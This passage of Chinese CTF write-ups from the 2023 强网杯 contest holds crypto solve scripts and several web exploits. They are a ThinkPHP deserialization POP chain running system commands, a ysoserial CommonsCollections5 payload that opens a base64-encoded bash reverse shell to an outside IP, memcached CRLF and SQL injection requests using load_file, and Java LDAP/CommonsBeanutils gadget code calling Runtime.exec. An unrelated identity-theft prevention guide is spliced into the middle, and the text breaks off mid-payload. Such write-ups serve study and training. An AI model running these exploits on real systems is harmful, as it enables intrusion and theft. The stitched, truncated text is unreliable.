a=int(a)
b=int(b)
print(b,a)
from tqdm import tqdm
for i in tqdm(range(e)):
  a=(a*b)%n
  m=long_to_bytes(int(a))
  if b"flag" in m:
    print(m)
    break

#flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}

 

discrete_log

阅读代码,题目给的假flag长度较小,猜测实际flag长度也较小,据此采用中间相遇思想进行破解

import itertoolsfrom gmpy2 import *from Crypto.Util.Padding import *from Crypto.Util.number import *from tqdm import tqdmp = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299g = 5c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649flag_len=12fake_flag_pad='flag{'.encode() +'x00'.encode()*flag_len+'}'.encode()flag_pattern = (pad(fake_flag_pad, 128))#print(flag_pattern)flag_pattern=bytes_to_long(flag_pattern)pattern=1<<888#print(bin(pattern))cc = c * inverse(pow(g,flag_pattern,p),p)%pcc = pow(cc, inverse(pattern, q), p)print(cc)table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']dic = dict()gtemp= pow(g, 2**48, p)for half_flag1 in tqdm(itertools.product(table, repeat=6)):    half_flag1 = bytes_to_long(''.join(half_flag1).encode())    temp = cc * powmod(gtemp, -(half_flag1), p) % p    dic[temp] = half_flag1for half_flag2 in tqdm(itertools.product(table, repeat=6)):    half_flag2 = bytes_to_long(''.join(half_flag2).encode())    temp = powmod(g, half_flag2, p)    if temp in dic:        print(long_to_bytes(dic[temp]) + long_to_bytes(half_flag2))

WEB

thinkshop

附件在本地起docker可以得到源码,审计发现admin路由

后台路径 /public/index.php/index/admin/login.html

1/123456登陆后台

 

sjhzdtazw4g13465.jpg

 

审计发现在保存操作调用save->updatedata

 

senrvrqy2wr13469.jpg

 

在updatedata存在SQL注入,$key相当于是$data中的一个键值。

 

yml5zi2gann13471.jpg

 

在保存商品时会调用saveGoods数据进行序列化之后保存到数据库

 

pd5ft4eg34j13473.jpg

 

在编辑页面可以看到数据抽取时会进行反序列化操作

 

vqcz1yb0pnz13477.jpg

 

利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下

https://www.freebuf.com/vuls/317886.html

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
{
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $aaa = new Windows('system','nl /f*');
    echo base64_encode(serialize(array($aaa)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
{
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
{
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
{}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
{}
    class BelongsTo extends OneToOne
{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
{
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
{
        protected $model;
        public function __construct($function,$parameter)
{
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
{
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
{
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
{
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
{
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
{
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
{
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
{
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}
//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0

在编辑页面修改抓包

 

fgasrr5lo1u13481.jpg

 

放包

2023 强网杯 writeup by Arr3stY0u

再次访问该商品得到flag

 

12xoqpkmw1x13488.jpg

 

flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7}

happygame

使用grpcui工具

grpcui -plaintext ip:port

打开以后可以发现一个序列化参数。

 

akbvfccultj13491.jpg

 

猜测后端是java组件,这里经过测试,发现CC5可以攻击,所以用ysoserial生成payload,因为exec会把管道符当做参数,所以需要先编码

java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xNzguODkvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" | base64

发送该数据,即可成功反弹shell

 

ju35ovfggda13494.jpg

 

thinkshopping

第二天又上了thinkshopping这一题,和前一题主要的区别是goods_edit.html中的反序列化入口被删了anfzusczmkq13498.jpg

还有admin表中的内容被清空了,没有1、admin、e10adc3949ba59abbe56e057f20f883e这条数据了

更重要的是,secure_file_priv的值为空了3x31zpw5wqd13501.png

而前一题还是有值的

bisx2uych5x13505.png

当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。

那么,如何进入到后台呢?前面提到,容器在启动的时候使用了memcached,但是在前一题中并没有用到z3iy5truub013509.jpg

并且启动了memcached后,ThinkPHP中也配置了cache使用memcached做缓存riinkhi10e213512.jpg

而在登录时,使用了cache先获取缓存q23anmzswsz13513.jpg

跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中,这里的缓存的key格式为:think:shop.admin|usernameg5a3addemxk13516.jpg

那么如何控制缓存的值呢?memcached存在CRLF注入漏洞,具体可参考下方文章:

 https://www.freebuf.com/vuls/328384.html

简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度

TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf

等价于
set snowwolf 0 500 4
wolf
那么我们需要注入一个怎么样的数据呢?我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到路由,然后访问执行
 public function test(){
    $result = Db::query("select * from admin where id=1");
    var_dump($result);
    $a = "think:shop.admin|admin";
    Cache::set($a, $result, 3600);
}

查看memcached中的值,长得像个序列化字符串

telnet 127.0.0.1 11211

get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
l5weoou5edr13519.jpg

这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:

上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用

set key flags exptime bytes [noreply] 

value 

所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Length: 183
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa
ysju3dszrhe13522.jpg  

参考原文链接:

https://mp.weixin.qq.com/s/ksGjGGeYjvWpgmRA5xyBpg https://mp.weixin.qq.com/s/ZNbUGyYkLP0YWDGIVMN-Zw https://mp.weixin.qq.com/s/zBWgPmK4edhkc153A7cvTw https://blog.csdn.net/qq_65165505/article/details/135044734

微信截图_20230204153840.png

在當今的數字世界中,身份盜竊是一個日益嚴重的問題。隨著網上的個人信息越來越多,我們很難保護自己不受惡意行為者的傷害,他們可能會出於惡意目的使用我們的數據。

雖然這似乎是一個難以解決的問題,但下述20步指南將教你如何防止身份盜竊,讓你擁有保持安全並保護個人數據所需的知識。

什麼是身份盜竊?長話短說,身份盜竊是指非法使用某人的個人信息。

美國司法部解釋稱,身份盜竊是指犯罪分子利用他人的個人身份信息(PII)進行詐騙,來獲取非法經濟利益。身份盜竊有很多種方式,包括黑客攻擊、金融和社交媒體賬戶收購、信用卡欺詐、網絡釣魚,甚至是勒索軟件攻擊。

當網絡罪犯實施身份欺詐時,他們可能會使用偷來的身份:

開設新賬戶或信用額度;

用偷來的保險信息接受醫療救助;

竊取退稅;

在逮捕事件中提供你的個人證件(姓名、出生日期、地址等)。

2021年,傳統的身份欺詐損失,即涉及任何使用消費者個人信息來獲得非法經濟利益的損失,高達240億美元,致使1500萬美國消費者陷入困境。涉及身份欺詐的損失(與受害者直接接觸)總計280億美元,影響了美國2700萬消費者。

身份盜竊的類型身份盜竊有許多不同類型,每一種都可能是毀滅性的。以下是一些最常見的類型:

金融身份盜竊:指有人使用你的個人信息以你的名義開設新賬戶,並負債累累。這會毀了你的信用評分,讓你背負很多債務;

醫療身份盜竊:指有人使用你的保險信息來獲得醫療或處方藥。這可能會導致你在保險上的虛假索賠,更高的保費,甚至被保險公司拒絕承保;

稅務身份盜竊:當有人使用你的個人信息以你的名義提交納稅申報單並要求退款時,就會發生這種情況。這可能會導致你欠國稅局或州稅務機構的錢,可能需要幾個月甚至幾年的時間來解決這個問題;

犯罪身份盜竊:指有人利用你的個人信息以你的名義犯罪。這可能會導致逮捕和監禁,即使你自己實際上沒有犯過任何罪;

兒童身份盜竊:指有人竊取兒童的個人信息供自己使用。兒童的身份經常被用於金融欺詐或其他犯罪,因為他們通常有良好的信用記錄。這可能會對孩子未來的財務狀況和社會福利產生重大影響。

身份盜竊的警告信號有幾個關鍵的警告信號可以表明你的身份被竊取了。如果你看到以下任何一個危險信號,是時候採取行動保護你的身份和財務了:

收到不認識的賬戶的賬單或收款通知;

銀行賬戶出現不明原因的提款;

接到來自企業的電話或信件,詢問你沒有購買的產品或服務;

信用報告上有新賬戶或貸款,但你並沒有開設;

被拒絕申請信貸或貸款,因為你的信用報告上的信息似乎不正確;

如果你懷疑自己的身份被盜了,第一步是聯繫信用機構,並在你的檔案上發布欺詐警報。你還應該聯繫你的金融機構,以及任何你認為小偷可能會以你的名義開設新賬戶的企業。通過採取這些步驟,你可以保護自己免受進一步的傷害,並開始找回自我的過程。

如何防止身份盜竊?正如Bruce Schneier所言,“身份盜竊是信息時代的新型犯罪活動。犯罪分子收集了足夠多的個人數據,用來向銀行、信用卡公司和其他金融機構冒充受害者。然後他會以受害者的名義貸款,收了錢,就消失掉,受害者只能背黑鍋。雖然部分損失由金融機構——尤其是信用卡公司——承擔,但信用評級方面的損失則由受害者承擔。受害者可能需要數年時間才能為自己正名。”

一旦發生身份盜竊,要想恢復網絡罪犯竊取的信息是極其困難的。很多時候,你甚至不知道它是如何或何時發生的。

這就是為什麼採取積極主動的安全措施總是更好的,這將防止騙子竊取你的個人詳細信息和信息。謹慎行事總是好的,而不是在傷害已經造成、無法控制時才做出反應。

保護您的身份免受在線威脅(網絡層面)

1. 為你的網上帳戶選擇一個合適的密碼最重要的步驟之一是:始終確保你的密碼是強大的和唯一的。長度在15個字符左右,使用大寫字母和小寫字母,以及數字和符號;不要使用你的出生日期、電話號碼、社會保險號、家庭成員的名字或你寵物的名字,這些很容易被攻擊者猜到,通常只需要看看你的社交資料。

此外,不要在不同的賬戶之間重複使用密碼。如果您在所有地方都使用相同的密碼,攻擊者將能夠訪問您的所有其他帳戶。

但如果我們創建了非常多的在線賬戶,我們到底該怎麼做呢?

首先,不要把它們寫下來!不要寫在你桌子上的紙上,不要寫在電子郵件草稿裡,也不要寫在你桌面上的文本文件裡。這些都是不安全的地點。相反地,您可以開始使用密碼管理器。它會記住你所有的密碼,並以安全的方式存儲它們。另一個關鍵的安全步驟是在任何可用的地方激活雙因素或多因素身份驗證。

2. 不要在網上發布機密信息在發布關於你的信息之前要三思。我們在網上發布的所有內容都將保留在那裡,每個想看的人都可以看到。儘管我們願意認為我們可以控制自己的隱私,但事實是我們永遠無法確定誰在監視我們。我們永遠都不知道這些信息會到哪裡去。即使我們採取了所有可能的安全措施,我們仍然依賴於其他服務和系統,這些服務和系統可能並不像他們聲稱的那麼安全。

這就是為什麼我們要關注我們放在評論、私人信息、帖子、簽到、照片或其他我們在網上顯示的任何東西中的所有數據是很重要的。這裡的“在線”指的是博客、社交網絡(Twitter、Facebook、LinkedIn、Instagram等)上的帖子、照片、簽到或評論,也包括AirBnB、TripAdvisor、Booking等網站。

3.小心網絡釣魚詐騙網絡釣魚是最古老的網絡威脅之一,但它仍然會造成很大的損害。攻擊者不斷改進他們的技術和欺詐方法。主要的網絡釣魚計劃和活動出現在:

網上購物;

查看電子郵件帳戶;

訪問社交媒體網絡;

雖然網絡釣魚使用多種渠道獲取我們的證書,但垃圾郵件攻擊仍然是主要的成功方法。

4.網上購物要謹慎

網絡購物已經變得非常方便,我們有更多的選擇,可以在一個地方,一次點擊即可完成操作,節省了我們大量的時間和金錢。

在網上購物時,最重要的是要確保你在一個合法的網站上。以下是如何確保你不會將財務信息發送給網絡罪犯的方法:

從知名、可信的網站購物;這將減少任何不愉快的意外的可能性;

檢查連接是否加密。您可以通過查看地址欄來做到這一點:是否有一個綠色鎖的圖標?地址開頭是“https”而不是“http”嗎?

另外,確保在線支付時激活二次認證因素。在下單前,您將在手機上收到最終識別碼;

最安全的方法是只在網上購物時使用一張單獨的卡。只有在你想買東西的時候才把錢轉到上面,否則就以低金額保存它。這樣,萬一有什麼不好的事情發生,你仍然有一個安全網。

5.保護您的瀏覽器設置我們的瀏覽器是連接網站的主要工具。因此,需要對它給予高度重視。確保您使用的是包含所有可用安全補丁的最新瀏覽器版本。

沒有所謂的免費程序,所以確保你在下載之前通過快速的網絡搜索仔細檢查免費程序的安全性和合法性。

如果從公共計算機連接,請使用私人瀏覽會話,您一定不希望本地記錄您的瀏覽歷史詳細信息。

為了確保你的連接是安全的,你可以使用VPN軟件或Tor瀏覽器加密它,以隱藏你的瀏覽活動。

6.使用多種安全產品保護您的計算機身份竊賊會使用多種工具獲取你的個人數據。我們這裡不是在談論普通的病毒,我們指的是高級惡意軟件和間諜軟件工具,如鍵盤記錄器,漏洞利用工具包和遠程管理工具。它們能夠在您不知情的情況下從系統中檢索敏感信息。

高級惡意軟件旨在逃避普通的反病毒檢測。有時要過很長一段時間你才能意識到它的存在。這就是必須配置一個好的殺毒軟件的原因。它能夠最大限度地減少你清理惡意軟件攻擊造成的混亂的時間。

此外,為了確保銀行業務的金融安全,並防範零日惡意軟件,您還需要先進的掃描技術,可以保護您免受最新的威脅。

7.保持系統和軟件更新用最新的安全補丁更新您的系統。對於易受攻擊的應用程序和程序,應該做同樣的事情。如果你不想每天檢查和更新這些應用程序,你也可以使用專門的解決方案來自動完成這項工作。

保護您的身份免受人身威脅(物理層面)以下步驟旨在解決物理盜竊企圖,因為它們可以造成和在線威脅一樣大的破壞。

8.誰在監視你?當你站在自動取款機前或當地的商店,試圖取一些錢或只是輸入你的密碼來支付時,在鍵入敏感數據之前,請確保你周圍沒有人可以看到你的信息。即使你沒有看到周圍的人,也可能有特殊的監控機制,所以為了確保你的安全,盡量隱藏你鍵入的數字。

9.你帶了什麼?在你離開家之前,花點時間考慮一下該帶哪些東西。只帶必要的物品,可以減少潛在的損失。 此外:

不要把你的包放在無人看管的公共場所或遠離你的地方。

不要把你的錢包隨便亂放,給小偷製造機會。

考慮分散竊賊的注意力。你可以帶一個假錢包,或者乾脆不把重要的東西放在包裡,因為這些東西可能會被偷。把重要的東西放在身邊。

10.銷毀不再需要的文件我們習慣把重要數據放在家裡。這些信息可能是你過去工作的地方、醫療記錄、證書和文憑,甚至可能是與你工作有關的機密信息。

我們都有收集各種文件和信息的傾向。其中一些我們可能不再需要了,比如收據或銀行對賬單。雖然我們可能不再需要這些數據,但這對騙子來說,可能仍是可以利用的重要元素。

因此,在你扔掉那些文件之前一定要把它們銷毀,比如使用碎紙機,不要只是把它們放在垃圾桶裡。

11.保護好你的郵箱試著像身份竊賊一樣思考。當你需要找到個人信息,尤其是某人的財務細節時,你會考慮從何處入手?

最簡單的方法是從那些保護較少的區域開始,比如郵箱。想一下:

你在郵箱裡收到過什麼類型的信息?你收到銀行的重要文件了嗎,也許是一張新的信用卡?如果你這樣做了,你需要聯繫銀行,讓他們停止這種類型的通信。如果你有重要的東西需要收集,只要去銀行取就行了。

你收到每項服務的發票了嗎?也許這對你來說似乎不是太多的數據,但身份竊賊可以使用這些信息與其他來源相關聯,以了解你的財務狀況。通過電子郵件接收發票會更容易,因為今天大多數服務提供商都提供這種選擇。

你的郵箱保護得怎麼樣?如果任何人都可以訪問你的郵箱,而你又知道有重要的信息被發送到那裡,也許你應該在郵局設置一個高安全性的郵箱或私人郵箱。

12.你了解電話來源嗎?沒錯,身份竊賊可能會給你打電話,冒充銀行代理或官方代表,要求你提供私人細節或財務數據。

小偷是怎麼知道你的銀行的?好吧,記住前面的幾點。要獲得你的信息並不難。他們可能會查看你的郵箱,他們可能會在商店或自動取款機上看著你,甚至他們可能會翻看你的垃圾。發現這點信息並不難。

不要被他們使用的專業語氣所愚弄。切記不要在電話中提供重要信息,除非是你主動打電話的,而且你真的知道自己在和誰通話。

13.銷毀你的數字信息如今,我們都使用雲服務來存儲重要文件,無論是工作文件還是個人照片。

然而,隨著時間的推移,我們在CD/DVD或外部硬盤驅動器上收集了各種類型的信息。有時,我們不得不扔掉一個看似無法運行的硬盤,而忽略了我們留在上面的私人數據。

要了解廢棄磁盤中的信息對你的危害,只要想想你留在磁盤上的所有照片、文檔和私人詳細信息就可以了。使用特殊的工具和軟件,黑客可以從這些硬盤中輕鬆地檢索到所有信息,並使用它來對付你——即使你在扔掉它之前刪除了數據並進行了格式化。

為了確保對舊磁盤的不安全處理不會成為身份竊賊的機會,您需要確保已銷毀了該數據。有以下選項:

多次覆蓋數據,讓身份竊賊更難下手。你也可以使用專門的軟件來幫你做這件事;

物理上銷毀硬盤或CD/DVD;

你知道打印機和復印機也有內置硬盤嗎?所以,在移除硬盤之前,不要直接扔掉打印機。

14.保護好你的社會安全號碼這是保護你的身份不被小偷竊取的最重要的步驟之一,因為這條信息可以在多種情況下使用。 身份竊賊可以使用你的社會安全號碼申請新信用卡或開立銀行賬戶,要求貸款,甚至租房子。

它還可以用來在電話或在線上證明你的身份,以便訪問私人信息。這裡有一些保護它的技巧:

不要把它用作任何在線賬戶的密碼;

除非你真的需要,否則不要隨便帶著它;

不要通過電子郵件發送相關信息;

不要把它存儲在你的電腦、智能手機或云驅動器上。

15.確保智能手機安全現在我們可以用智能手機完成所有的操作,例如拍照、獲取信息、與朋友保持聯繫、訪問云存儲甚至進行金融交易。這成為我們最大的風險。想想看,一個人僅僅通過使用智能手機就能獲得多少信息。

你可以遵循以下幾個步驟,以確保你的智能手機數據不會落入壞人之手:

下載知名公司的應用程序,尤其是用於金融交易的應用程序;

使用強大的密碼來保護移動設備,或者更好的是,使用2種方法來保護它免受任何破壞。生物特徵認證,比如用你的指紋鎖定,可能被證明是最安全的;

使用最好的應用程序來保護你的智能手機,其中大多數都包含GPS功能和遠程清除機制。

16. 備份這裡不是指電腦備份,而是指備份某些東西,以防某些東西在某個時候丟失。讓我們試著回答幾個問題,這樣我們就可以弄清楚並找到解決方案:

你把所有的錢都存在一張信用卡上嗎?為什麼?至少用兩張卡,然後把錢分散存儲;

你出門的時候會把兩張卡片都帶在身上嗎?為什麼?就拿一個吧。或者至少不要把它們放在同一個地方。這樣,你就可以減少潛在的損失。

你需要在某個地方驗證你的身份嗎?好的,你可以隨身攜帶身份證明文件,但是不要把身份證、駕照和護照全部帶走。

你真的需要帶正式文件嗎?也許你可以用複印件代替。在任何情況下,確保你總是有所有重要文件的複印件,特別是在旅行時。

你有丟失公文或信用卡時可以求助的電話號碼嗎?

結語身份盜竊是一個嚴重的問題,會對受害者造成毀滅性的影響。我們希望本指南為您提供了必要的知識和工具,以幫助您保護自己免受身份盜竊。

保護您的個人信息安全應該是一項首要任務,所以記住要時刻留意任何可疑的事情,並在網上保護自己時採取積極主動的措施。只需採取一些簡單的步驟,比如鎖定你的賬戶,使用強密碼,警惕網絡釣魚詐騙,跟踪你的信用評分,就可以保護自己免受潛在的身份盜竊影響。現在採取這些預防措施將為你以後節省更多時間和金錢。

web

ai_java

首先通过附件帐号信件获取到帐号
image.png
image.png
通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址
image.png
查找提交历史我们发现了源码
image.png
审计源码发现为 可能存在spring–boot 未授权绕过
image.png
在admin的页面下的/post_message/接口存在fastjson解析
image.png

image.png
查看具体版本发现无法直接ladp攻击,查看依赖
发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell

public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}
public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
